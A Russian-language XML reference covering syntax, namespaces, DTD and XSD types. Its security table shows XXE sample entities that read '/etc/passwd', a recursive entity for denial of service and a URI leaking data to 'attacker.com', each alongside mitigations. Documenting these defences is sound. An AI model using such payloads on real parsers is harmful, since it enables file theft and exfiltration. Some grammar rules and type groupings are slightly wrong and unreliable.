3.04. Справочник по XML

ОБЯЗАТЕЛЬНОДЛЯ НОВИЧКОВНЕ ДЛЯ НОВИЧКОВВ РАЗРАБОТКЕ

Разработчику Аналитику Тестировщику
Архитектору Инженеру

Справочник по XML

📚 Часть 1. Синтаксис и структура XML

На основе XML 1.0 (Fifth Edition, W3C Recommendation 26 November 2008) и XML 1.1 (Second Edition, 16 August 2006)

1.1. Well-formedness: обязательные условия

Документ считается well-formed, если выполняются все следующие правила:

№	Условие	Описание
1	Наличие корневого элемента	Должен быть ровно один элемент верхнего уровня (document element), все остальные — вложенные.
2	Корректное вложение элементов	Начальный и конечный теги должны быть правильно вложены: `<a><b></b></a>` — допустимо; `<a><b></a></b>` — недопустимо.
3	Закрытие всех элементов	Все нетривиальные элементы либо имеют парный закрывающий тег (`<tag></tag>`), либо используют самозакрывающийся синтаксис (`<tag/>`).
4	Имена элементов и атрибутов	Должны соответствовать правилам `Name` по спецификации XML (см. 1.2).
5	Уникальность имён атрибутов в пределах элемента	Один и тот же атрибут не может появляться дважды в одном элементе.
6	Кавычки у значений атрибутов	Значения атрибутов обязательно заключаются в одинарные (`'`) или двойные (`"`) кавычки.
7	Экранирование специальных символов	Символы `<`, `>`, `&`, `'`, `"` внутри текста и значений атрибутов должны быть экранированы или находиться в CDATA-секции (см. 1.4).
8	Отсутствие неэкранированных управляющих символов	В XML 1.0 недопустимы символы `#x0–#x8`, `#xB–#xC`, `#xE–#x1F` (кроме `#x9`, `#xA`, `#xD`). В XML 1.1 разрешены все Unicode-символы, кроме `#x0`, `#xFFFE`, `#xFFFF` и суррогатных пар вне допустимого контекста.

Примечание: #xN означает шестнадцатеричное представление Unicode-кода символа.

1.2. Правила именования (`Name`, `NCName`)

Согласно [Extensible Markup Language (XML) 1.0 (Fifth Edition), §2.3 Common Syntactic Constructs]:

1.2.1. `Name`

Формально:

Name          ::= NameStartChar (NameChar)*
NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] | [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] | [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] | [#x10000-#xEFFFF]
NameChar      ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]

То есть:

Имя не может начинаться с -, ., или цифры.
Допустимы символы Юникода практически всех письменностей (включая кириллицу, греческую, китайскую и т.п.).
Знак : разрешён, но зарезервирован для пространств имён (см. Часть 7).
Символ #xB7 (·, middle dot) разрешён только не в начале имени.

1.2.2. `NCName` (Non-Colonized Name)

То же, что Name, но без символа ::

NCName ::= [^:]*Name

Используется в атрибутах xml:id, ID, IDREF, и в QNames без префикса.

1.2.3. Зарезервированные имена

Имя	Контекст	Примечание
`xml`	префикс пространства имён	Зарезервировано за `http://www.w3.org/XML/1998/namespace`. Нельзя переопределять.
`xmlns`	префикс и локальное имя	Используется только для объявения NS. Не может быть локальным именем элемента или атрибута вне этого контекста.
`xml:lang`, `xml:space`, `xml:base`, `xml:id`	атрибуты	Специальные глобальные атрибуты (см. ниже).

В XML 1.1 дополнительно разрешены символы #x0085 (NEL) и #x2028 (LS) как line breaks, но их использование не рекомендуется для совместимости.

1.3. Пролог: XML Declaration и DOCTYPE

1.3.1. XML Declaration

Формат:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

(должна быть первой строкой, если присутствует; перед ней допускаются только BOM и whitespace в XML 1.1)

Атрибут	Обязательный?	Возможные значения	Описание
`version`	Да	`"1.0"` \| `"1.1"`	Определяет версию XML. Влияет на разрешённые символы и обработку строки.
`encoding`	Нет	Имя кодировки по IANA Character Sets	Напр.: `"UTF-8"`, `"UTF-16"`, `"windows-1251"`, `"KOI8-R"`. Если отсутствует — по умолчанию `"UTF-8"` или `"UTF-16"` (определяется по BOM/сигнатуре).
`standalone`	Нет	`"yes"` \| `"no"`	Указывает, зависит ли документ от внешних сущностей (например, внешних DTD-подмножеств). `"yes"` — не зависит; `"no"` (по умолчанию) — может зависеть.

Примечание: standalone="yes" не запрещает ссылки на внешние сущности, но требует, чтобы парсер проигнорировал их при нормализации — поведение зависит от парсера (некоторые игнорируют этот флаг).

1.3.2. Text declaration (для внешних сущностей)

В внешних парсированных сущностях (external parsed entities), если они в кодировке, отличной от UTF-8/UTF-16, может присутствовать text declaration:

<?xml encoding="windows-1251"?>
<fragment>...</fragment>

Здесь version не указывается (подразумевается та же, что у основного документа), standalone — недопустим.

1.3.3. DOCTYPE Declaration

Формат:

<!DOCTYPE rootElementName 
  [ 
    [ ExternalID ] 
    [ "[" InternalSubset "]" ] 
  ]>

Часть	Формат	Пример
`ExternalID`	`SYSTEM "URI"` \| `PUBLIC "publicId" "systemId"`	`SYSTEM "schema.dtd"` `PUBLIC "-//Example//DTD Doc//EN" "http://example.com/doc.dtd"`
`InternalSubset`	Набор объявлений: `<!ELEMENT>`, `<!ATTLIST>`, `<!ENTITY>`, `<!NOTATION>`	См. Часть 8 (DTD).

Примечание: Наличие DOCTYPE не делает документ валидным — только well-formed. Валидация требует обработки DTD и проверки.

1.4. Специальные конструкции

Конструкция	Синтаксис	Описание	Ограничения
Комментарий	`<!-- текст -->`	Любой текст, кроме `--`.	Не может содержать `--` внутри. Не может вкладываться.
CDATA Section	`<![CDATA[ ... ]]>`	Содержимое интерпретируется как raw text, без разбора `&`, `<`.	Нельзя вложить CDATA в CDATA. Строка `]]>` завершает секцию — её нужно экранировать (напр., разбить: `]]><![CDATA[]>`).
Processing Instruction (PI)	`<?target data?>`	Инструкция для приложения. `target` — имя (не `xml`), `data` — произвольные символы, кроме `?>`.	`target` чувствителен к регистру. `xml-stylesheet`, `xml-model` — стандартные цели.
Character Reference	`&#N;` (десятичное) \| `&#xH;` (шестнадцатеричное)	Ссылка на Unicode-символ.	`N`/`H` — корректный code point. Например: `A` = `A`, `A` = `A`.
Entity Reference	`&name;`	Подстановка сущности.	`name` должен быть объявлен (кроме встроенных).

1.4.1. Встроенные (predefined) сущности

Сущность	Замена	Разрешена в	Примечание
`<`	`<`	текст, значения атрибутов	Обязательна в тексте и значениях атрибутов вместо `<`, кроме CDATA.
`>`	`>`	текст, значения атрибутов	Требуется только в контекстах, где `>` может быть ошибочно интерпретирован (напр. `]]>`), но рекомендуется везде для единообразия.
`&`	`&`	текст, значения атрибутов	Обязательна — иначе последующий символ создаёт неопределённую сущность.
`'`	`'`	значения атрибутов в двойных кавычках	Не требуется в тексте.
`"`	`"`	значения атрибутов в одинарных кавычках	Не требуется в тексте.

Примечание: в CDATA-секциях никакие сущности не разворачиваются.

1.5. Атрибуты: базовые типы по DTD (декларативные, не типы данных в XSD)

При использовании DTD можно объявить тип атрибута. Это влияет на парсинг и нормализацию значений.

Тип	Описание	Нормализация значения	Пример объявления
`CDATA`	Символьные данные	Пробельные символы (табуляция, `\n`, `\r`) заменяются на пробелы; начальные/конечные пробелы удаляются; внутренние идущие подряд пробелы сворачиваются в один.	`<!ATTLIST note text CDATA #IMPLIED>`
`ID`	Уникальный идентификатор элемента в документе	То же, что `CDATA`; должен быть `NCName`; должен быть уникальным в документе.	`<!ATTLIST section id ID #REQUIRED>`
`IDREF` / `IDREFS`	Ссылка на `ID` / список ссылок (через пробел)	То же, что `CDATA`; каждое значение должно соответствовать существующему `ID`.	`<!ATTLIST link target IDREF #REQUIRED>`
`ENTITY` / `ENTITIES`	Имя внешней непарсированной сущности / список	Имя должно быть объявлено как `<!ENTITY name SYSTEM "uri" NDATA notation>`.	`<!ATTLIST img src ENTITY #REQUIRED>`
`NMTOKEN` / `NMTOKENS`	Токен по правилам `NameChar` (может начинаться с `-`, `.`, цифры) / список	То же, что `CDATA`; каждое слово — `NMTOKEN`.	`<!ATTLIST flag values NMTOKENS #IMPLIED>`
`(val1\|val2\|...)`	Перечисление	Нормализация как `CDATA`; значение должно точно совпадать с одним из вариантов (регистрозависимо).	`<!ATTLIST button type (submit\|reset\|button) "button">`
`NOTATION`	Имя нотации	Имя должно быть объявлено через `<!NOTATION>`.	`<!ATTLIST obj data NOTATION (gif\|png) #REQUIRED>`

Примечание: #REQUIRED, #IMPLIED, #FIXED "value" — ключевые слова для указания обязательности и фиксации значения.

📚 Часть 2. XML Namespaces

Пространства имён решают проблему конфликтов имён при объединении XML-лексик из разных источников (например, XHTML + SVG + MathML в одном документе).

2.1. Основные принципы

Принцип	Формулировка
Идентификация	Пространство имён идентифицируется абсолютным URI (чаще всего — HTTP URI, но не обязательно разрешаемым). Пример: `http://www.w3.org/1999/xhtml`.
Отсутствие наследования URI	URI не наследуется как «база» для составных имён. `x:y` в NS `A` и `x:y` в NS `B` — разные имена, даже если `y` совпадает.
Локальное имя + URI = уникальное имя	Полное имя элемента или атрибута — это пара `(URI, localName)`. Префикс — лишь сокращение для удобства записи и не входит в модель данных.
Атрибуты по умолчанию не наследуют NS элемента	Если у атрибута нет префикса — его URI = nil (пустое пространство имён), даже если элемент объявлен в NS. Исключение — глобальные атрибуты `xml:*`.

Примечание: xml — зарезервированный префикс для URI http://www.w3.org/XML/1998/namespace. Его нельзя переопределять. Префикс xmlns — зарезервирован синтаксически и не является именем в каком-либо NS.

2.2. Объявление пространств имён

2.2.1. Синтаксис объявления

Тип объявления	Синтаксис	Пример	Эффект
С префиксом	`xmlns:prefix="URI"`	`xmlns:svg="http://www.w3.org/2000/svg"`	Все элементы/атрибуты с префиксом `svg:` принадлежат указанному URI.
По умолчанию	`xmlns="URI"`	`xmlns="http://www.w3.org/1999/xhtml"`	Все элементы без префикса в области видимости принадлежат этому URI. На атрибуты не влияет.
Отмена NS по умолчанию	`xmlns=""`	`<foreign xmlns=""><data/></foreign>`	Элементы без префикса внутри — в nil namespace.

2.2.2. Область действия (scope)

Объявление действует от начала элемента, в котором оно указано, до конца этого элемента (включая все дочерние), если не переопределено.

<root xmlns="A">
  <a/>                  <!-- (A, "a") -->
  <b xmlns="B">
    <c/>                <!-- (B, "c") -->
    <d xmlns=""/>       <!-- (nil, "d") -->
  </b>
  <e xmlns:ns="C">
    <ns:f/>             <!-- (C, "f") -->
    <g ns:attr="val"/>  <!-- атрибут: (C, "attr"); элемент g: (A, "g") -->
  </e>
</root>

Важно:

Объявление xmlns не создаёт атрибут в итоговом дереве (DOM/SAX/infoset). Это директива парсера.

Нельзя объявить префикс xml или xmlns.

Префикс может быть переопределён во вложенном элементе (даже на тот же URI — легально, но избыточно).

2.3. QName (Qualified Name)

Формат: [prefix:]localName

Форма	URI пространства имён	Примечание
`local`	Зависит от контекста: если объявлен NS по умолчанию — его URI; иначе nil.	Только для элементов. Атрибуты без префикса всегда в nil.
`ns:local`	URI, связанный с префиксом `ns` в текущей области.	Префикс обязан быть объявлен.

2.3.1. Ограничения на QName

Контекст	Допустимый формат QName	Примеры
Имя элемента	`NCName` или `prefix:NCName`	`<book>`, `<xhtml:p>`
Имя атрибута	То же	`id="1"`, `xlink:href="..."`
Значение атрибута типа `QName` в XSD	То же, но при валидации проверяется, что префикс объявлен	`<element type="xs:string"/>` — `xs` должен быть объявлен как `http://www.w3.org/2001/XMLSchema`
`xml:id`	Только `NCName` (без префикса)	`<note xml:id="n1"/>`

Примечание: В XSD тип xs:QName хранится как тройка (namespace URI, local name, prefix), но при сериализации используется только prefix:localName.

2.4. Специальные атрибуты в пространстве `xml:`

Атрибуты с префиксом xml: являются глобальными — могут использоваться в любом элементе без объявления их пространства.

Атрибут	Возможные значения	Назначение	Влияние на обработку
`xml:lang`	Языковой тег по BCP 47 (например, `en`, `ru-RU`, `zh-Hans`)	Указывает язык содержимого элемента и его потомков (если не переопределён).	Используется XSLT, CSS (`:lang()`), процессорами локализации. Не влияет на парсинг.
`xml:space`	`"default"` \| `"preserve"`	Указывает, как обрабатывать whitespace в текстовом содержимом.	`"default"` — нормализация (свёртка, удаление внешних); `"preserve"` — сохранять как есть (но `\r\n` → `\n`). Влияет на `xml:space` в глубину.
`xml:base`	Корректный URI (абсолютный или относительный)	Определяет базовый URI для разрешения относительных URI в значениях атрибутов (`href`, `src` и т.п.) и в `xlink:href`.	Наследуется вглубь; разрешается по `[RFC 3986]`. Требует поддержки приложения (не все парсеры реализуют).
`xml:id`	`NCName`	Задаёт уникальный идентификатор элемента.	Должен быть уникальным в документе; парсер может индексировать его для `getElementById()` без DTD. Заменяет `ID` из DTD при наличии XSD.

Примечание:

Эти атрибуты не требуют объявления xmlns:xml="http://www.w3.org/XML/1998/namespace" — он подразумевается.

Другие атрибуты с префиксом xml: (например, xml:foo) — недопустимы и приводят к ошибке парсинга.

2.5. `xmlns` как часть Infoset и PSVI

Уровень	Что сохраняется
XML Infoset (Information Set)	Для каждого элемента/атрибута: `(namespace name, local name)`. Префикс не сохраняется, если только явно не требуется (например, для `QName`-значений).
XDM (XQuery/XPath Data Model)	То же. Дополнительно: атрибуты `xml:base`, `xml:lang`, `xml:space` представлены как свойства узлов.
PSVI (Post-Schema-Validation Infoset)	После валидации XSD: тип, ограничения, `nil`-статус и т.д.
Сериализация (например, через `xml:base`)	Префиксы могут быть восстановлены алгоритмически (например, Canonical XML), но не обязательно совпадут с исходными.

Практическое следствие: Если вы сохраняете XML и потом читаете через DOM/SAX/StAX — префиксы могут быть потеряны или изменены. Полагайтесь только на URI + local name.

2.6. Сравнение XML 1.0 и XML 1.1 в контексте NS

Особенность	XML 1.0	XML 1.1
Символы в URI	Только символы, разрешённые в `NameChar` (см. Часть 1)	Допускаются почти все Unicode (включая `NEL`, `LS`, но не `#x0`, `#xFFFE`, `#xFFFF`).
Обработка `xml:base` с недопустимыми URI	Ошибка парсинга	Может быть проигнорировано (зависит от парсера).
Разрешённые префиксы	Как в `Name`	То же, но шире диапазон символов.

Рекомендация: Используйте XML 1.0, если нет специфической потребности в расширенных символах. Поддержка XML 1.1 ограничена (например, Java DocumentBuilder по умолчанию не поддерживает 1.1 без явной настройки).

2.7. Частые ошибки и антипаттерны

Ошибка	Пример	Последствие
Префикс без объявления	`<x:p>...</x:p>` (без `xmlns:x=...`)	Ошибка парсинга (not well-formed).
`xmlns` как обычный атрибут	`<div xmlns="A" xmlns="B">`	Последнее объявление переопределяет первое — легально, но запутанно.
Атрибут без префикса в NS элемента	`<html xmlns="XHTML" lang="en">`	`lang` находится в nil namespace, а не в XHTML — может нарушить валидацию. Нужно: `xml:lang="en"` или `xhtml:lang="en"` (если `lang` в DTD/XSD объявлен как часть XHTML).
Использование `http://.../` с версией в URI	`xmlns:x="http://example.com/ns/v1.2"`	URI — идентификатор, а не адрес. Изменение версии в URI создаёт новое пространство имён. Это законно, но усложняет совместимость.
Передача префиксов в API как идентификаторов	`element.getTagName()` возвращает `ns:local`	Ломается при изменении префикса. Корректно: `element.getNamespaceURI() + "#" + element.getLocalName()`.

2.8. Рекомендации по проектированию NS

Используйте постоянные, уникальные URI — например, urn:uuid:..., http://your-domain/ns/year/name, https://github.com/user/project/ns.
Избегайте хостов, которые могут быть перехвачены — не используйте http://example.com/, если нет контроля над ним.
Не меняйте URI при несущественных изменениях — только при некомпактных изменениях (например, изменение модели данных).
Документируйте NS — размещайте по URI человекочитаемую страницу (с XSLT-трансформацией или HTML-описанием).
Для внутренних проектов — используйте urn: — urn:company:product:module:v1.

📚 Часть 3. Document Type Definition (DTD)

3.1. Структура DTD

DTD может быть:

Внутренним подмножеством — внутри <!DOCTYPE [...] [...] >
Внешним подмножеством — в отдельном файле, подключаемом через SYSTEM или PUBLIC
Комбинированным — внешнее + внутреннее (внутреннее переопределяет внешнее)

<!DOCTYPE article [
  <!ENTITY % common SYSTEM "common.ent">
  %common;
  <!ELEMENT article (title, section+)>
  <!ATTLIST article id ID #REQUIRED>
]>
<article id="a1"><title>...</title>...</article>

Важно:

Внешнее подмножество загружается только если указан SYSTEM/PUBLIC и парсер не в standalone-режиме (standalone="no" или не указано).

Обработчики внешних сущностей должны быть реализованы парсером (в Java — EntityResolver, в .NET — XmlResolver).

3.2. Объявление элементов: `<!ELEMENT>`

Синтаксис:

<!ELEMENT name contentspec>

3.2.1. `contentspec` — модели контента

Тип	Синтаксис	Пример	Описание
EMPTY	`EMPTY`	`<!ELEMENT br EMPTY>`	Элемент не может иметь дочерних узлов (ни текста, ни элементов). Допустимы атрибуты.
ANY	`ANY`	`<!ELEMENT note ANY>`	Элемент может содержать любую комбинацию текста и элементов (но только из DTD). Устаревшее, небезопасное.
Смешанный	`(#PCDATA \| name1 \| name2)*`	`<!ELEMENT p (#PCDATA \| em \| strong)*>`	Текст (`#PCDATA`) и элементы в любом порядке и количестве. `*` обязателен.
Дочерний (element-content)	`model`	`<!ELEMENT section (title, para+)>`	Только элементы (без текста на верхнем уровне). Поддерживает: — `,` — последовательность — `\|` — выбор — `?` — 0 или 1 — `*` — 0 или более — `+` — 1 или более — `()` — группировка

Примечание: #PCDATA допустим только в смешанной модели и только на первом месте.

3.2.2. Группы и квантификаторы (только для element-content)

Конструкция	Значение	Эквивалент в EBNF
`(a, b)`	`a`, затем `b`	`a b`
`(a \| b)`	`a` или `b`	`a \| b`
`(a, b)+`	1+ повторений `(a, b)`	`(a b)+`
`a?`	0 или 1 `a`	`a?`
`(a \| b)*`	0+ `a` или `b` в любом порядке	`(a \| b)*`
`((a, b) \| c)+`	1+ либо `(a,b)`, либо `c`	`((a b) \| c)+`

Ограничения:

Нельзя использовать */+/? над #PCDATA.

Смешанная модель: (a \| b)* — допустимо; (a, b)* — недопустимо.

Вложенность групп не ограничена, но может снижать читаемость.

3.3. Объявление атрибутов: `<!ATTLIST>`

Синтаксис:

<!ATTLIST element-name
  attr-name1 type1 default1
  attr-name2 type2 default2
  ...
>

3.3.1. Типы атрибутов (расширение раздела 1.5)

Тип	Подтипы и особенности
`CDATA`	Любые символы. Нормализация: whitespace сворачивается.
`ID`	Должен быть `NCName`. Уникален в документе. Только один `ID` на элемент.
`IDREF`, `IDREFS`	Один или несколько `ID` через whitespace. Должны ссылаться на существующие `ID`.
`ENTITY`, `ENTITIES`	Имена внешних непарсированных сущностей. Должны быть объявлены в `<!ENTITY ... NDATA>`.
`NMTOKEN`, `NMTOKENS`	Один или несколько токенов, каждый соответствует `NameChar+` (может начинаться с `-`, `.`, цифры).
Перечисление	`(val1 \| val2 \| val3)` — регистрозависимо. Значения должны быть `Nmtoken`.
`NOTATION`	`(notation1 \| notation2)` — ссылка на объявленные `<!NOTATION>`.

3.3.2. Значения по умолчанию

Декларация	Поведение
`#REQUIRED`	Атрибут обязателен. Отсутствие — ошибка валидации.
`#IMPLIED`	Атрибут необязателен. Если отсутствует — не создаётся в infoset.
`#FIXED "value"`	Атрибут может быть опущен, но если присутствует — точно `"value"`. При отсутствии — подставляется `"value"` в infoset.
`"default"`	Значение по умолчанию. Подставляется, если атрибут отсутствует.

Пример:

<!ATTLIST img
  src    CDATA   #REQUIRED
  alt    CDATA   #IMPLIED
  width  NMTOKEN #FIXED "100"
  format (png\|jpg\|gif) "png"
>

3.4. Объявление сущностей: `<!ENTITY>`

Сущности — макроподстановки. Делятся на:

Тип	Подтип	Синтаксис	Пример	Область
Общая (general)	Внутренняя	`<!ENTITY name "value">`	`<!ENTITY copy "©">` → `©`	В тексте и значениях атрибутов
	Внешняя парсированная	`<!ENTITY name SYSTEM "uri">`	`<!ENTITY chapter1 SYSTEM "ch1.xml">`	Вставляется как XML-фрагмент
	Внешняя непарсированная	`<!ENTITY name SYSTEM "uri" NDATA notation>`	`<!ENTITY logo SYSTEM "logo.png" NDATA PNG>`	Только в значениях атрибутов типа `ENTITY`
Параметрическая (parameter)	Внутренняя	`<!ENTITY % name "value">`	`<!ENTITY % ISOLat2 SYSTEM "ISOlat2.ent">`	Только в DTD (внутри `<!DOCTYPE [...] [...] >`)
	Внешняя	`<!ENTITY % name SYSTEM "uri">`	`%ISOLat2;`	То же

3.4.1. Правила подстановки

Общие сущности: &name;
Параметрические: %name;
Нельзя использовать общие сущности в DTD (кроме значений по умолчанию).
Нельзя использовать параметрические сущности вне DTD.
Рекурсия запрещена — парсер обязан обнаружить и прервать.

3.4.2. Условная обработка в DTD: `INCLUDE` / `IGNORE`

<![%draft;[
  <!ELEMENT draft-note (#PCDATA)>
]]>

Где %draft; — параметрическая сущность, содержащая INCLUDE или IGNORE:

<!ENTITY % draft "IGNORE">

Фактически:

<![IGNORE[
  <!ELEMENT draft-note (#PCDATA)>
]]>

→ блок игнорируется при парсинге DTD.

Применение: поставка одной DTD для нескольких профилей (production/draft/mobile).

3.5. Объявление нотаций: `<!NOTATION>`

Синтаксис:

<!NOTATION name PUBLIC "public-id" "system-id">
<!NOTATION name SYSTEM "system-id">

Нотации описывают внешние немаркированные данные (бинарные, не-XML).

Пример	Назначение
`<!NOTATION PNG SYSTEM "image/png">`	MIME-тип для `ENTITY logo ... NDATA PNG`
`<!NOTATION ZIP PUBLIC "+//IDN example.com//NOTATION ZIP Archive//EN" "application/zip">`	Публичный идентификатор + системный

Примечания:

Нотация не описывает структуру, только метаданные.

Используется только в связке с ENTITY ... NDATA и атрибутами типа NOTATION.

В современных системах почти не используется — заменена MIME-типами и XLink.

3.6. Валидация по DTD: что проверяется

Парсер в режиме validating проверяет:

Проверка	Описание
Well-formedness	(обязательно даже без DTD)
Объявление элементов	Все элементы в документе должны быть объявлены (если нет `ANY`).
Модель контента	Последовательность и кратность дочерних элементов/текста.
Объявление атрибутов	Все атрибуты должны быть объявлены (если не `CDATA #IMPLIED` в `ANY`-элементе).
Типы атрибутов	`ID` уникальны, `IDREF` ссылаются на существующие `ID`, перечисления совпадают и т.д.
Сущности	Все `&name;` (кроме 5 встроенных) должны быть объявлены.
Нотации	Все `NDATA notation` должны иметь соответствующую `<!NOTATION>`.

Примечание:

Whitespace в element-content (<a> <b/> </a>) — недопустим, если не объявлен как #PCDATA (в смешанной модели) или не в CDATA. Это частая ошибка.

DTD не проверяет типы данных (числа, даты), ограничения длины, регулярные выражения — только структуру и перечисления.

3.7. Безопасность и ограничения DTD

Риск	Описание	Смягчение
XXE (XML External Entity)	Чтение локальных файлов через `<!ENTITY x SYSTEM "file:///etc/passwd">`	Отключить обработку внешних сущностей (`Feature.DISALLOW_DOCTYPE_DECL`, `Feature.EXTERNAL_GENERAL_ENTITIES = false`).
DoS через рекурсию	`<!ENTITY a "&a;&a;">` → бесконечный рост	Ограничение глубины подстановки (в Java — `FEATURE_SECURE_PROCESSING`).
Утечка через URI	`SYSTEM "http://attacker.com/?leak=data"`	Блокировка исходящих HTTP-запросов из парсера.

Рекомендация:

В production-системах отключайте DTD-валидацию, если она не требуется.

Используйте XSD или RELAX NG для структурной валидации.

В .NET: XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit.

В Java: factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true).

3.8. Совместимость с XSD

Возможность	DTD	XSD
Пространства имён	Только через префиксы (без URI-безопасности)	Полная поддержка (целевые NS, импорт, переопределение)
Типы данных	8 типов + перечисления	44+ встроенных (`xs:date`, `xs:integer`, `xs:anyURI`, регулярки и т.д.)
Уникальность/ссылки	`ID`/`IDREF` (в пределах документа)	`xs:key`, `xs:keyref`, `xs:unique` (в пределах области)
Расширяемость	Нет	Группы (`xs:group`, `xs:attributeGroup`), `xs:extension`, `xs:restriction`
Документация	Нет	`<xs:annotation><xs:documentation>`

Вывод: DTD подходит для простых, внутренних форматов. Для интеграционных API, конфигураций, открытых стандартов — XSD (или JSON Schema для JSON).

📚 Часть 4. XML Schema Definition (XSD)

4.1. Основные концепции

Понятие	Описание
Целевое пространство имён (targetNamespace)	URI, которому принадлежат объявленные в схеме элементы и типы. Указывается в `<xs:schema targetNamespace="...">`.
Квалификация элементов/атрибутов	Управляется `elementFormDefault` и `attributeFormDefault` (`"qualified"` / `"unqualified"`). `"qualified"` — все локальные элементы/атрибуты должны быть в `targetNamespace` (требуется префикс или `xmlns=`).
Компоненты схемы	`<xs:element>`, `<xs:complexType>`, `<xs:simpleType>`, `<xs:group>`, `<xs:attributeGroup>`, `<xs:notation>` и др. — единицы переиспользования.
PSVI (Post-Schema-Validation Infoset)	Расширенная модель документа после валидации: типы, значения, `nil`, ключи и т.д.
Валидация	Проверка: (1) структуры, (2) типов, (3) ограничений, (4) уникальности (`xs:key`), (5) целостности (`xs:keyref`).

Примечание: XSD не заменяет well-formedness — документ должен быть well-formed до валидации по схеме.

4.2. Встроенные простые типы (built-in simple types)

Всего 44+ встроенных типа (XSD 1.0). Основные категории:

4.2.1. Примитивные типы (25)

Группа	Типы	Примеры значений
Строковые	`string`, `boolean`, `decimal`, `float`, `double`	`"text"`, `true`, `123.45`, `3.14e10`
Временные	`dateTime`, `time`, `date`, `gYearMonth`, `gYear`, `duration`	`2025-11-20T14:30:00+05:00`, `PT2H30M`, `2025`
URI/бинарные	`anyURI`, `base64Binary`, `hexBinary`	`https://example.com`, `AQIDBA==`, `01020304`
Идентификаторы	`QName`, `NOTATION`	`xs:string`, `image/png`
Прочие	`normalizedString`, `token`, `language`, `NMTOKEN`, `Name`, `NCName`, `ID`, `IDREF`, `ENTITY`	`en-US`, `valid_name`, `id1`

Примечания:

decimal — произвольная точность (в отличие от float/double).

dateTime включает часовой пояс (Z или ±HH:MM). Если отсутствует — неопределённое локальное время.

duration по ISO 8601: PnYnMnDTnHnMnS (P — period, T — time separator).

4.2.2. Производные типы (19)

Построены на основе примитивных через ограничения (facets):

Тип	Базовый	Ограничения	Пример
`integer`	`decimal`	`fractionDigits = 0`	`123`
`nonNegativeInteger`	`integer`	`minInclusive = 0`	`0`, `100`
`positiveInteger`	`nonNegativeInteger`	`minExclusive = 0`	`1`, `42`
`long`, `int`, `short`, `byte`	`integer`	`minInclusive`, `maxInclusive`	`-2147483648`..`2147483647` (`int`)
`unsignedLong`, `unsignedInt`...	`nonNegativeInteger`	аналогично	`0`..`4294967295` (`unsignedInt`)
`date`	`dateTime`	без времени	`2025-11-20`
`time`	`dateTime`	без даты	`14:30:00+05:00`
`token`	`normalizedString`	collapse whitespace	`"a b c"` → `"a b c"` (без внешних пробелов, внутренние — один)

Полный список — в XSD Datatypes, Appendix B.

4.3. Фасеты (ограничения) для простых типов

Фасеты накладывают дополнительные ограничения на значения.

Фасет	Применяется к	Описание	Пример
`length`	`string`, `QName`, `anyURI`, `base64Binary`, `hexBinary`	Точная длина	`length=5` → `"hello"`
`minLength`, `maxLength`	то же	Мин./макс. длина	`minLength=3`, `maxLength=10`
`pattern`	`string` и производные	Регулярное выражение (синтаксис XSD, не PCRE)	`pattern="[A-Z]{2}[0-9]{3}"` → `"AB123"`
`enumeration`	любой простой тип	Фиксированный набор значений	`enumeration="red"`, `enumeration="green"`
`whiteSpace`	`string` и производные	`preserve` / `replace` / `collapse`	`collapse` — как в XML-нормализации атрибутов
`maxInclusive`, `maxExclusive`	`decimal`, `float`, `dateTime`, `duration`	`≤` `/` `<`	`maxInclusive="100"`
`minInclusive`, `minExclusive`	то же	`≥` `/` `>`	`minExclusive="0"`
`totalDigits`, `fractionDigits`	`decimal`	Макс. цифр всего / после точки	`totalDigits=5`, `fractionDigits=2` → `123.45`
`maxScale`, `minScale` (XSD 1.1)	`decimal`	Аналогично, но с поддержкой научной нотации	—

Примечания:

Регулярные выражения в XSD:

Нет поддержки \d, \w, \s — только символьные классы ([0-9], [a-zA-Z], [ \t\n\r]).

Якоря ^ и $ не нужны — совпадение проверяется по всей строке.

Подвыражения (...) не захватываются — только группировка.

Несовместимые фасеты (напр., length + minLength) — ошибка компиляции схемы.

4.4. Определение простых типов: `<xs:simpleType>`

4.4.1. Ограничение (restriction)

<xs:simpleType name="CurrencyCode">
  <xs:restriction base="xs:string">
    <xs:length value="3"/>
    <xs:pattern value="[A-Z]{3}"/>
  </xs:restriction>
</xs:simpleType>

4.4.2. Список (list)

<xs:simpleType name="ColorList">
  <xs:list itemType="xs:NMTOKEN"/>
</xs:simpleType>
<!-- <item colors="red green blue"/> -->

4.4.3. Объединение (union)

<xs:simpleType name="IDOrRef">
  <xs:union memberTypes="xs:ID xs:IDREF"/>
</xs:simpleType>

XSD 1.1: memberTypes может включать анонимные типы.

4.5. Определение сложных типов: `<xs:complexType>`

Сложный тип описывает структуру элемента: дочерние элементы, текст, атрибуты.

4.5.1. Содержимое

Тип содержимого	Элементы	Текст	Смешанное?	Пример
empty	Нет	Нет	Нет	`<xs:complexType/>`
element-only	Да	Нет	Нет	`<xs:sequence><xs:element name="a"/></xs:sequence>`
simpleContent	Нет	Да	Нет	`<xs:simpleContent><xs:extension base="xs:string">...</xs:extension>`
mixed	Да	Да	Да	`<xs:complexType mixed="true">...`

4.5.2. Дочерние конструкции (`xs:sequence`, `xs:choice`, `xs:all`)

Конструкция	Поведение	Ограничения
`<xs:sequence>`	Элементы в строгом порядке	Каждый может иметь `minOccurs`, `maxOccurs`
`<xs:choice>`	Ровно один из перечисленных (по умолчанию)	`minOccurs="0"`, `maxOccurs="unbounded"` допустимы
`<xs:all>`	Все элементы, в любом порядке, не более одного раза	Только на верхнем уровне `complexType`; `maxOccurs` = 0 или 1

Пример xs:all (допустимо только в XSD 1.0+):
<xs:complexType name="Person">
  <xs:all>
    <xs:element name="firstName" type="xs:string"/>
    <xs:element name="lastName"  type="xs:string" minOccurs="0"/>
  </xs:all>
</xs:complexType>
→ <Person><lastName>...</lastName><firstName>...</firstName></Person> — валидно.

4.5.3. Расширение и ограничение

Операция	Синтаксис	Применяется к	Пример
extension	`<xs:extension base="...">...`	`simpleContent` / `complexContent`	Добавление атрибутов к строке: `<xs:simpleContent><xs:extension base="xs:string"><xs:attribute name="lang" type="xs:language"/></xs:extension>`
